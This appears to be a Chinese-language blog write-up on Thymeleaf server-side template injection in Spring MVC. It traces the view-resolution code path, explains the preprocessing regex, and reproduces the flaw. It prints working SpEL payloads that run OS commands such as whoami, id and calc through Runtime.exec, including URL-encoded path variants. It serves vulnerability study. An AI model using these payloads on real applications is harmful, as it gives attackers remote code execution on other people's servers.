Thymeleaf模板注入
Thymeleaf
是众多模板引擎的一种和其他的模板引擎相比,它有如下优势:
- Thymeleaf使用html通过一些特定标签语法代表其含义,但并未破坏html结构,即使无网络、不通过后端渲染也能在浏览器成功打开,大大方便界面的测试和修改。
- Thymeleaf提供标准和Spring标准两种方言,可以直接套用模板实现JSTL、 OGNL表达式效果,避免每天套模板、改JSTL、改标签的困扰。同时开发人员也可以扩展和创建自定义的方言。
- Springboot官方大力推荐和支持,Springboot官方做了很多默认配置,开发者只需编写对应html即可,大大减轻了上手难度和配置复杂度。
基础语法
选择变量表达式
变量表达式也可以写为*{...}
。星号语法对选定对象而不是整个上下文评估表达式。也就是说,只要没有选定的对象,美元(${…}
)和星号(*{...}
)的语法就完全一样。
<span th:text="'Hello, ' + ${message}"></span>
${message}
:这是Thymeleaf的变量表达式,用于访问模型中的属性。在Spring MVC控制器中,你可以将数据添加到模型中,然后在Thymeleaf模板中引用这些数据。
片段表达式
Thymeleaf中的片段表达式(Fragment Expression)是用来定义和引用模板片段的一个强大功能。这种机制允许你将页面的不同部分拆分为独立的片段(fragments),并在需要的地方进行引用和包含。这有助于提高代码的复用性和维护性。
片段定义使用 th:fragment
属性。你可以在模板文件中定义一个片段,例如头部、导航栏或页脚等。
<!DOCTYPE HTML>
<html lang="en" xmlns:th="http://www.thymeleaf.org">
<head>
<title>Thymeleaf Fragments Example</title>
</head>
<body>
<div th:fragment="header">
<h3>Spring Boot Web Thymeleaf Example</h3>
</div>
<div th:fragment="main">
<span th:text="'Hello, ' + ${message}"></span>
</div>
</body>
</html>
在这个示例中,我们定义了两个片段:
header
:包含一个标题。main
:包含一个动态内容的span
标签。
片段引用使用 th:insert
、th:replace
或 th:include
属性。这些属性允许你在另一个模板文件中引用和包含定义好的片段。
假设你有一个主模板文件,需要引用之前定义的片段:
<!DOCTYPE HTML>
<html lang="en" xmlns:th="http://www.thymeleaf.org">
<head>
<title>Main Template</title>
</head>
<body>
<div th:insert="~{fragments :: header}"></div>
<div th:insert="~{fragments :: main}">
<span th:text="'This is a placeholder'"></span>
</div>
</body>
</html>
在这个示例中,我们引用了两个片段:
fragments :: header
:引用header
片段。fragments :: main
:引用main
片段。
漏洞环境搭建
我们使用这个项目
然后还需要自己的Spring的一个环境,把你的代码按照它的复制进去就好了
主要是我们的pox.xml中
thymeleaf版本必须为3.0.11
<dependency>
<groupId>org.thymeleaf</groupId>
<artifactId>thymeleaf-spring5</artifactId>
<version>3.0.11.RELEASE</version>
</dependency>
调试分析
这个是一个典型的mvc结构,我们按照这个逻辑调试分析,也就是SpringMVC 视图解析过程分析
handler封装ModelAndView对象
我们知道这个是前后端分离的,我们还是来到DispatcherServlet#doDispatch方法,所有的request和response都会经过该方法,我们看到封装我们对象的过程
mv = ha.handle(processedRequest, response, mappedHandler.getHandler());
一路跟进
来到invokeHandlerMethod方法,代码很长,只看关键,首先new了一个ModelAndViewContainer,然后初始化 ModelAndViewContainer
,其他都不重要,然后调用处理器方法并处理结果
跟进invokeAndHandle,调用了invokeForRequest为我们的returnValue赋值,内部是先获取参数值,然后发反射赋值
回到invokeAndHandle,调用returnValueHandlers.handleReturnValue去处理我们的返回值
handleReturnValue先挑选一个合适的处理器去处理
继续跟进handleReturnValue,重点就是为我们的mavContainer设置了viewName这个值
一路回到invokeHandlerMethod这个方法
处理完成后准备去获取我们的ModelAndView对象了
return getModelAndView(mavContainer, modelFactory, webRequest);
可以看到实例化了一个ModelAndView对象,传入我们的关键参数,也就是我们自己的输入
然后就完成了封装ModelAndView对象,回到doDispatch方法
处理ModelAndView对象获取view
来到processDispatchResult方法
传入了我们的对象,准备解析
processDispatchResult(processedRequest, response, mappedHandler, mv, dispatchException)
调用了render(mv, request, response);
准备渲染视图
render方法
获取我们的视图名称之后view = resolveViewName(viewName, mv.getModelInternal(), locale, request);
使用resolveViewName来解析,为什么是解析这个名字
视图名称是控制器方法返回的一个逻辑名称,它需要被解析为具体的视图对象才能渲染最终的输出
可以看到有很多视图解析器是可以来解析的,循环调用
因为我的是使用tomcat搭建的环境
但是我们的逻辑的是应该在ThymeleafViewResolver
中获取视图,实际是ContentNegotiatingViewResolver
中已经获取到了视图
跟进ContentNegotiatingViewResolver#resolveViewName
其中调用getCandidateViews方法,获取所有的视图,然后看下一步,是返回最合适的
跟进getCandidateViews方法,可以看见就是循环调用解析器去解析,然后将获得的结果add进去
渲染view
返回我们的view后,调用对应的
之后调用ThymleafView#render
渲染render
方法中又通过调用renderFragment
完成实际的渲染工作
- 当TemplateName中不包含
::
则将viewTemplateName
赋值给templateName
。 - 如果包含
::
则代表是一个片段表达式,则需要解析templateName
和markupSelectors
。
比如当viewTemplateName为welcome :: header
则会将welcome解析为templateName,将header解析为markupSelectors。这也是我们的payload最后为::x的原因
获取我们的模板名称后我们直接看到解析的地方
熟悉sqel表达式注入的就很清楚,这有猫腻
这是我们正常解析spel的代码例子,这里也是这样的
public class test_Template {
public static void main(String[] args) {
SpelExpressionParser spelExpressionParser =new SpelExpressionParser();
TemplateParserContext templateParserContext =new TemplateParserContext();
Expression expression = spelExpressionParser.parseExpression("The random number is #{T(java.lang.Math).random()} and the 1+1=#{1+1}",templateParserContext);
String exp =expression.getValue(String.class);
System.out.println(exp);
}
}
但是解析的逻辑还是不一样的,我们具体看看,可以看到是把我们的输入放到preprocess方法进行预处理,然后把结果再次解析
跟进preprocess方法,关键是符合正则匹配,就会把我们的
把我们的String先截取留下spel表达式部分
然后StandardExpressionParser.parseExpression再去解析
~{user/__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("whoami").getInputStream()).next()}__::.x/welcome}
${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("whoami").getInputStream()).next()}
经过解析变为真正的spel表达式
expression.execute执行表达式
这也是我们漏洞的原因
不同类型区别
因为上面我是以传入参数型为例子的,如果是url path型呢?
区别会在我们的paylaod会来自于applyDefaultViewName方法
applyDefaultViewName-->getDefaultViewName(request)--getViewName
getViewName方法,可以看到是获取我们的path,然后经过transformPath后返回
String path = ServletRequestPathUtils.getCachedPathValue(request);
return (this.prefix + transformPath(path) + this.suffix);
重点在圈出来的地方
可以看到会对我们的文件进行一个截取,但是我们的payload有点,为了不让paylaod被截取,自己写一个.上去,然后随便加点东西就好了
一些思考和问题
关于payload的构造
为什么payload需要那样
首先我们的paylaod是根据控制器的return决定的,拿这次的代码
return "user/" + lang + "/welcome"
其中我们的lang可以控制
输入之后变成了
user/__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("whoami").getInputStream()).next()}__::.x/welcome
::需要的原因说过了
为什么需要__${...}__
也说过,为了匹配过去
为什么最后剩下的恰好是表达式内容呢
关注我们改变这端字符串的代码
第一个是去除前面的~{user/,第二个得好好讲讲,我举个例子
String input = "abc::.x";
String regex = "(abc)::(\\..)";
Pattern pattern = Pattern.compile(regex);
Matcher matcher = pattern.matcher(input);
这个正则表达式包含两个捕获组:
(abc)
:匹配字符串abc
。(\\..)
:匹配点号.
后跟一个字符。
匹配过程
- 匹配整个正则表达式:
- 正则表达式
(abc)::(\\..)
会匹配整个字符串abc::.x
。
- 正则表达式
- 匹配第一个捕获组:
- 第一个捕获组
(abc)
匹配abc
。
- 第一个捕获组
- 匹配第二个捕获组:
- 第二个捕获组
(\\..)
匹配..x
中的.x
。
- 第二个捕获组
在匹配成功的情况下,group(int group)
方法会返回各个捕获组的匹配结果:
if (matcher.find()) {
System.out.println("Group 0: " + matcher.group(0)); // 整个匹配结果
System.out.println("Group 1: " + matcher.group(1)); // 第一个捕获组
System.out.println("Group 2: " + matcher.group(2)); // 第二个捕获组
}
Group 0: abc::.x
Group 1: abc
Group 2: .x
matcher.group(0)
:group(0)
返回整个匹配结果,即abc::.x
。
matcher.group(1)
:group(1)
返回第一个捕获组的匹配结果,即abc
。
matcher.group(2)
:group(2)
返回第二个捕获组的匹配结果,即.x
。
按照我们的这个代码逻辑group(1)就是__之间的内容,所以删去.x是无所谓的,只是这个在后面会用到,然后还可以改变::的位置
关于预处理
预处理是在正常表达式之前完成的表达式的执行,允许修改最终将执行的表达式。
预处理的表达式与普通表达式完全一样,但被双下划线符号(如
__${expression}__
)包围。
个人感觉这是出现SSTI最关键的一个地方,预处理也可以解析执行表达式,也就是说找到一个可以控制预处理表达式的地方,让其解析执行我们的payload即可达到任意代码执行
path类型为什么需要.
因为上面我是以传入参数型为例子的,如果是url path型呢?
区别会在我们的paylaod会来自于applyDefaultViewName方法
applyDefaultViewName-->getDefaultViewName(request)--getViewName
getViewName方法,可以看到是获取我们的path,然后经过transformPath后返回
String path = ServletRequestPathUtils.getCachedPathValue(request);
return (this.prefix + transformPath(path) + this.suffix);
重点在圈出来的地方
可以看到会对我们的文件进行一个截取,但是我们的payload有点,为了不让paylaod被截取,自己写一个.上去,然后随便加点东西就好了
漏洞复现
中间型
return "user/" + lang + "/welcome
使用刚刚的环境和代码
两边型
return "welcome :: " + section
这个使用第一个的paylaod可以执行命令,但是不会有回显
__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__
研究了很久的原因都没有很找到,看其他文章感觉说的也是错的
path型
/doc/{document}
这种payload是没有回显的
/doc/__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::.x
但是多加了一个点就有回显了
/doc/__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::..x
调试了还是不懂,感觉问题是出现在这里判断缓存